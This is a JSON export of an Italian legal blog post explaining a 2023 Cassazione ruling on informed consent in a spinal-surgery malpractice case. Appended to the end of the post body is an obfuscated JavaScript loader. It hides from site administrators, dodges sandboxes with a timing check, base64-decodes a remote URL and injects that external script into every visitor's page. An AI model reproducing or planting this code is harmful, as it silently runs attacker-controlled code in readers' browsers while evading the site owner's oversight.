{"id":28410,"date":"2023-09-06T15:33:04","date_gmt":"2023-09-06T15:33:04","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=28410"},"modified":"2026-04-15T05:11:31","modified_gmt":"2026-04-15T05:11:31","slug":"i-confini-del-consenso-informato-facciamo-chiarezza","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=28410","title":{"rendered":"I confini del consenso informato: facciamo chiarezza"},"content":{"rendered":"<p>La Corte di Cassazione Civile con la pronuncia in esame, ordinanza n. 16633 del 12 giugno 2023, si \u00e8 occupata del tema del consenso informato cercando di delineare i confini e i limiti del diritto all\u2019informazione indispensabili per considerare valido il consenso prestato del paziente.<br \/>\nPrima di occuparci degli aspetti della sentenza, \u00e8 opportuno chiarire il concetto di consenso informato e delle peculiarit\u00e0 che lo contraddistinguono.<br \/>\nIl consenso informato rappresenta la manifestazione di volont\u00e0 consapevole del paziente di accettare o rifiutare i trattamenti medico-sanitari che verranno proposti dal medico.<\/p>\n<h4>Il consenso deve essere informato, consapevole, completo, globale, specifico.<\/h4>\n<p>Nel consenso informato l\u2019interessato deve essere correttamente edotto dal medico tramite un linguaggio comprensibile.<br \/>\nPer consenso consapevole deve intendersi la possibilit\u00e0 che ha il paziente di intendere e capire quali siano le complicanze eventuali o i possibili rischi in seguito ad un trattamento proposto.<br \/>\nIl consenso specifico riguarda solamente una determinata prestazione e dunque non pu\u00f2 considerarsi valido se viene fornito in bianco.<br \/>\nPer consenso globale s\u2019intende la possibilit\u00e0 per il paziente di ricevere ogni informazione possibile per ciascuna fase del trattamento proposto.<br \/>\nIn particolare, gli ermellini ribadiscono ancora una volta che, prima di eseguire una prestazione sanitaria, i medici son tenuti ad informare debitamente il paziente sulle singole fasi del processo, sulle eventuali o possibili complicanze in modo da permettere alla persona interessata di scegliere liberamente e consapevolmente se fornire o meno il consenso per il trattamento da ricevere.<br \/>\nBisogna, inoltre, ricordare che la legge n. 219 del 2017 regola espressamente il consenso informato e le disposizioni anticipate di trattamento.<br \/>\nIn particolare l\u2019art. 1 stabilisce che: \u201cNessun trattamento sanitario pu\u00f2 essere iniziato o proseguito se privo del consenso libero e informato della persona interessata, tranne che nei casi espressamente previsti dalla legge\u201d.<\/p>\n<p>La stessa legge all\u2019art. 2, invece, stabilisce che: \u201cNella relazione di cura tra paziente e medico viene tutelata da un lato l\u2019autonomia decisionale del paziente e dall\u2019altro viene garantita la professionalit\u00e0 e la competenza del medico\u201d.<br \/>\nNel caso di specie, la persona interessata citava in giudizio l\u2019azienda sanitaria, presso la quale aveva effettuato un intervento di asportazione di un\u2019ernia discale, e chiedeva il risarcimento non solo del danno biologico e di quello patrimoniale per un intervento non eseguito correttamente, ma anche di quelli derivanti dalla lesione del diritto di autodeterminazione poich\u00e9 il consenso informato non era valido.<br \/>\nIl paziente concretamente lamentava una incompleta e non esaustiva informazione ricevuta dai sanitari circa i possibili rischi o le eventuali complicanze che si sarebbero potute presentare dopo l\u2019intervento di rimozione dell\u2019ernia discale.<br \/>\nIl giudizio di primo grado si concludeva con il rigetto delle pretese attoree.<br \/>\nLa persona danneggiata proponeva ricorso in appello e in questo grado di giudizio veniva esclusa la responsabilit\u00e0 dei sanitari per la complicanza verificatasi, ma a questi ultimi si contestava la violazione degli obblighi di informazione fornita al paziente circa le possibili o le eventuali complicanze che potevano verificarsi dopo l\u2019intervento.<br \/>\nProprio in virt\u00f9 della lesione del diritto di informazione per il paziente, la Corte di Appello condannava l\u2019azienda sanitaria a risarcire il paziente per una somma pari a 7000 euro.<br \/>\nL\u2019azienda sanitaria si opponeva a tale sentenza e proponeva ricorso in Cassazione.<br \/>\nSecondo la Corte di Cassazione il non aver acquisito il consenso informato pu\u00f2 avere un peso diverso, se ad essere leso \u00e8 stato il diritto di autodeterminazione del paziente oppure il diritto alla salute.<br \/>\nNel primo caso si verifica l\u2019ipotesi in cui la persona interessata se correttamente informata avrebbe potuto non prestare il proprio consenso, ma di per s\u00e9 il trattamento non crea un danno; nel secondo caso, invece, assume una rilevanza maggiore qualora abbia provocato una lesione permanente al paziente.<br \/>\nNel primo caso si ha la semplice violazione del diritto per il paziente di poter decidere se aderire o meno ad una prestazione medica.<\/p>\n<p>Nel secondo caso il peso \u00e8 maggiore perch\u00e9 da un lato vi \u00e8 la violazione dell\u2019autodeterminazione, ma dall\u2019altro rileva anche la circostanza secondo cui il paziente ha subito un danno permanente dall\u2019intervento stesso.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Dott. Luigi Pin\u00f2<\/p>\n<hr \/>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La Corte di Cassazione Civile con la pronuncia in esame, ordinanza n. 16633 del 12 giugno 2023, si \u00e8 occupata del tema del consenso informato cercando di delineare i confini e i limiti del diritto all\u2019informazione indispensabili per considerare valido il consenso prestato del paziente. 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